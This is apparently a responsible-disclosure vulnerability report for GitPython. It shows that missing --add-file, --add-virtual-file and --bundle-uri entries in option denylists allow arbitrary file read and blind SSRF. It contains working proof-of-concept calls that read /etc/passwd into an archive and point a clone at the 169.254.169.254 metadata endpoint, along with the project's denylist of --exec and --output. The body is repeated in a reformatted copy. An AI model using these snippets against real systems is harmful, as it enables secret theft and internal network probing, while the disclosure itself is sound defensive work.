Incomplete unsafe_git_archive_options denylist omits --add-file / --add-virtual-file, enabling arbitrary file read via Repo.archive()
Target: gitpython-developers/GitPython
Tested: HEAD 07e80555 (2026-07-25), latest release 3.1.55, git version 2.50.1
Severity proposed: Medium — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N (6.5)
Summary
Repo.archive() does call the option guard, so this is not a missing-guard report. The guard is present and working; the denylist it consults is incomplete.
# git/repo/base.py:169
unsafe_git_archive_options = [
# Allows arbitrary command execution through the remote git-upload-archive command.
"--exec",
# Writes output to a caller-controlled filesystem path.
"--output",
"-o",
]
The comment on --output states the protected class in the project's own words: an option that lets the caller name a filesystem path is unsafe. --output is blocked because it writes to a caller-chosen path.
git archive also accepts --add-file=<path> and --add-virtual-file=<path:content> (both present in current git; verified against git version 2.50.1). --add-file reads a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them:
$ grep -rniE "add.file|add_file" git/
git/index/base.py:771: R"""Add files from the working tree, ... # unrelated docstring
Net effect: the guard blocks arbitrary file write at this sink while permitting arbitrary file read at the same sink.
Reachability proof (verified at the sink)
poc/poc_addfile.py at HEAD 07e80555. The PoC creates its own out-of-tree canary, so it runs from a clean machine:
-- CONTROL: options the denylist covers (expect BLOCKED) --
[BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it.
[BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it.
[BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it.
-- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) --
[ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes
archive members: ['f.txt', 'gp_canary.txt']
>>> EXFILTRATED gp_canary.txt: 'secret-canary-12345'
>>> byte-for-byte match with the out-of-tree file: CONFIRMED
-- also: --add-virtual-file (attacker-chosen name AND content) --
[ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes
The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran.
Minimal reproduction:
import io, tarfile
from git import Repo
buf = io.BytesIO()
Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd")
print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames())
# ['<repo files>', 'passwd'] <- contents readable by whoever receives the archive
The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by transform_kwargs into --add-file=<path> and reaches git archive unmodified.
Direct precedent
GHSA-6p8h-3wgx-97gf (High, published 2026-07-22) is the same defect on the sibling list: "Incomplete unsafe_git_clone_options denylist omits --template" — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. git log shows the archive list itself has already been extended reactively once, in 701ce32f (fix: Guard unsafe git command options, GHSA-956x-8gvw-wg5v), and the --template omission was then fixed separately in ffcb5359.
This report is the archive-list instance of that pattern. Related, already filed by me: GHSA-3f7w-8rr8-f37f covers two unguarded call sites, which is a different axis — that one is about which methods invoke the guard, this one is about what the guard's list contains.
--add-virtual-file is the same gap pointing the other way
--add-virtual-file=<path:content> lets the caller inject attacker-chosen content under an attacker-chosen name into an archive that downstream consumers will reasonably treat as repository-derived. I have shown only that the option is accepted (see PoC output above); I have not developed a downstream-trust exploit and am not claiming one. It belongs in the same fix.
Suggested remediation
- Preferred — allowlist.
Repo.archive() has a small legitimate option surface (format, prefix, worktree_attributes, remote, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this.
- Minimum — extend the list with
--add-file and --add-virtual-file, and make the membership rule "the option takes a filesystem path or URL" rather than "the option executes a command". The existing comment on --output already implies that rule; applying it consistently is what closes the class instead of this instance.
Scope limits
- Impact is arbitrary file read at the privileges of the process. Not code execution — I make no such claim here.
- It requires the embedding application to forward caller-influenced kwargs into
Repo.archive(). That is the identical precondition to --output, --exec and --template, all of which this project has treated as reportable.
- I have not demonstrated a path where the archive bytes reach an unauthenticated actor without the application choosing to return them; the disclosure is to whoever receives the archive.
Disclosure
Reported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready.
Addendum (2026-07-25) — related observation on the same membership question, filed here rather than separately
While auditing the archive denylist I found the same class of gap one list over, in unsafe_git_clone_options. I am not requesting a second advisory for it — it is lower severity and I would rather it inform the fix for the issue above than consume separate triage. Recording it here so you have the whole picture in one place.
Repo._clone() treats a URL's protocol as a security boundary and applies check_unsafe_protocols() to exactly one input:
clone_url = Git.polish_url(url, expand_vars=False)
if not allow_unsafe_protocols:
Git.check_unsafe_protocols(clone_url) # the positional url only
git clone accepts a second URL via --bundle-uri=<uri>, which git dereferences before the main transport runs. That option is absent from unsafe_git_clone_options, so the option guard passes it, and check_unsafe_protocols() never inspects it. A caller-influenced value therefore drives an outbound request from the host:
Repo.clone_from(trusted_url, dest,
multi_options=["--bundle-uri=http://169.254.169.254/latest/meta-data/"])
# no UnsafeProtocolError, no UnsafeOptionError
Confirmed against a local listener — the request leaves the process:
127.0.0.1 - - [24/Jul/2026 23:07:41] "GET /internal-metadata HTTP/1.1" 404 -
file:///path is likewise accepted without error. Note this is not a tokenisation bypass: multi_options is shlex.split before the check (per c9a26789 / GHSA-x2qx-6953-8485), so the fully-split --bundle-uri=... token is checked and legitimately passes because the option is not on the list.
Scope limits, stated plainly:
- Blind SSRF only. I confirmed the request reaches a caller-chosen host, port and path. I did not demonstrate response-content disclosure back to the caller; a non-bundle response makes git warn and continue.
- No command execution. I tested remote-helper syntax (
ext::…) and git rejects it for this option (exit 129). No marker file was created. I make no RCE claim.
- Same precondition as the issue above: the application forwards caller-influenced options.
Why it belongs with this report: both are the membership question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route every URL-bearing option through check_unsafe_protocols(), not only the positional URL. Adding --bundle-uri to unsafe_git_clone_options would be the minimal fix.
Incomplete
unsafe_git_archive_optionsdenylist omits--add-file/--add-virtual-file, enabling arbitrary file read viaRepo.archive()Target: gitpython-developers/GitPython
Tested: HEAD
07e80555(2026-07-25), latest release 3.1.55,git version 2.50.1Severity proposed: Medium —
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N(6.5)Summary
Repo.archive()does call the option guard, so this is not a missing-guard report. The guard is present and working; the denylist it consults is incomplete.The comment on
--outputstates the protected class in the project's own words: an option that lets the caller name a filesystem path is unsafe.--outputis blocked because it writes to a caller-chosen path.git archivealso accepts--add-file=<path>and--add-virtual-file=<path:content>(both present in current git; verified againstgit version 2.50.1).--add-filereads a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them:Net effect: the guard blocks arbitrary file write at this sink while permitting arbitrary file read at the same sink.
Reachability proof (verified at the sink)
poc/poc_addfile.pyat HEAD07e80555. The PoC creates its own out-of-tree canary, so it runs from a clean machine:The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran.
Minimal reproduction:
The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by
transform_kwargsinto--add-file=<path>and reachesgit archiveunmodified.Direct precedent
GHSA-6p8h-3wgx-97gf(High, published 2026-07-22) is the same defect on the sibling list: "Incompleteunsafe_git_clone_optionsdenylist omits--template" — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it.git logshows the archive list itself has already been extended reactively once, in701ce32f(fix: Guard unsafe git command options, GHSA-956x-8gvw-wg5v), and the--templateomission was then fixed separately inffcb5359.This report is the archive-list instance of that pattern. Related, already filed by me:
GHSA-3f7w-8rr8-f37fcovers two unguarded call sites, which is a different axis — that one is about which methods invoke the guard, this one is about what the guard's list contains.--add-virtual-fileis the same gap pointing the other way--add-virtual-file=<path:content>lets the caller inject attacker-chosen content under an attacker-chosen name into an archive that downstream consumers will reasonably treat as repository-derived. I have shown only that the option is accepted (see PoC output above); I have not developed a downstream-trust exploit and am not claiming one. It belongs in the same fix.Suggested remediation
Repo.archive()has a small legitimate option surface (format,prefix,worktree_attributes,remote, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this.--add-fileand--add-virtual-file, and make the membership rule "the option takes a filesystem path or URL" rather than "the option executes a command". The existing comment on--outputalready implies that rule; applying it consistently is what closes the class instead of this instance.Scope limits
Repo.archive(). That is the identical precondition to--output,--execand--template, all of which this project has treated as reportable.Disclosure
Reported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready.
Addendum (2026-07-25) — related observation on the same membership question, filed here rather than separately
While auditing the archive denylist I found the same class of gap one list over, in
unsafe_git_clone_options. I am not requesting a second advisory for it — it is lower severity and I would rather it inform the fix for the issue above than consume separate triage. Recording it here so you have the whole picture in one place.Repo._clone()treats a URL's protocol as a security boundary and appliescheck_unsafe_protocols()to exactly one input:git cloneaccepts a second URL via--bundle-uri=<uri>, which git dereferences before the main transport runs. That option is absent fromunsafe_git_clone_options, so the option guard passes it, andcheck_unsafe_protocols()never inspects it. A caller-influenced value therefore drives an outbound request from the host:Confirmed against a local listener — the request leaves the process:
file:///pathis likewise accepted without error. Note this is not a tokenisation bypass:multi_optionsisshlex.splitbefore the check (perc9a26789/ GHSA-x2qx-6953-8485), so the fully-split--bundle-uri=...token is checked and legitimately passes because the option is not on the list.Scope limits, stated plainly:
ext::…) and git rejects it for this option (exit 129). No marker file was created. I make no RCE claim.Why it belongs with this report: both are the membership question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route every URL-bearing option through
check_unsafe_protocols(), not only the positional URL. Adding--bundle-uritounsafe_git_clone_optionswould be the minimal fix.